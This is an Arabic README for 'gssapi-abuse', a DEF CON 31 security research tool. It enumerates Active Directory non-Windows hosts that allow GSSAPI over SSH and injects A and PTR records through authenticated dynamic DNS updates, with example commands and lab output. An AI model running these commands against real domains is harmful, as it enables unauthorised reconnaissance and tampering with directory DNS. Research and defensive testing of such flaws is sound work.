
أداة لتعداد المضيفين المحتملين المعرضين لإساءة استخدام GSSAPI داخل شبكات Active Directory
تم إصدار gssapi-abuse كجزء من حديثي في DEF CON 31. يمكن العثور على شرح كامل لثغرة الإساءة هنا: زواج محطم: إساءة استخدام مجموعات Kerberos المختلطة من بائعين مختلفين
الأداة لها ميزتان. الأولى هي القدرة على تعداد المضيفات غير التابعة لـ Windows المنضمة إلى Active Directory والتي تقدم مصادقة GSSAPI عبر SSH.
الميزة الثانية هي القدرة على إجراء تحديثات DNS ديناميكية للمضيفات القابلة للإساءة عبر GSSAPI والتي لا تحتوي على إدخالات DNS أمامية و/أو عكسية صحيحة. تعتمد مصادقة GSSAPI على مطابقة صارمة لمبادئ الخدمة، لذلك يجب أن تتطابق إدخالات DNS مع اسم مبدأ الخدمة سواءً من حيث اسم المضيف أو عنوان IP.
يتطلب gssapi-abuse حزمة krb5 عاملة مع ملف krb5.conf مكوّن بشكل صحيح.
على مضيفات ويندوز، يجب تثبيت برنامج MIT Kerberos بالإضافة إلى وحدات بايثون المذكورة في requirements.txt، يمكن الحصول عليه من صفحة توزيع MIT Kerberos. يمكن العثور على ملف krb5.conf لويندوز في C:\ProgramData\MIT\Kerberos5\krb5.conf
يجب تثبيت حزمة libkrb5-dev قبل تثبيت متطلبات بايثون
بمجرد استيفاء المتطلبات، يمكنك تثبيت تبعيات بايثون عبر أداة pip/pip3
pip install -r requirements.txt
سيقوم وضع التعداد بالاتصال بـ Active Directory وإجراء بحث LDAP لجميع الحواسيب التي لا تحتوي على الكلمة Windows داخل سمة نظام التشغيل.
بمجرد الحصول على قائمة الأجهزة غير التابعة لـ Windows، سيحاول gssapi-abase الاتصال بكل مضيف عبر SSH وتحديد ما إذا كانت مصادقة GSSAPI مسموحًا بها.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
يستخدم وضع DNS Kerberos و dnspython لإجراء تحديث DNS مصادق عليه عبر المنفذ 53 باستخدام بروتوكول DNS-TSIG. يعتمد وضع dns حاليًا على تكوين krb5 عامل مع TGT صالح أو تذكرة خدمة DNS تستهدف وحدة تحكم مجال محددة، على سبيل المثال DNS/dc1.victim.local.
إضافة سجل A DNS للمضيف ahost.ad.ginge.com
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
إضافة سجل PTR عكسي للمضيف ahost.ad.ginge.com. لاحظ أن وسيط data يُنهى بـ .، هذا مهم وإلا سيصبح السجل نسبيًا للنطاق، وهو ما لا نريده. نحتاج أيضًا إلى تحديد النطاق الهدف للتحديث، حيث يتم تخزين سجلات PTR في نطاقات مختلفة عن سجلات A.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
نتائج بحث DNS الأمامي والعكسي بعد التنفيذ
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50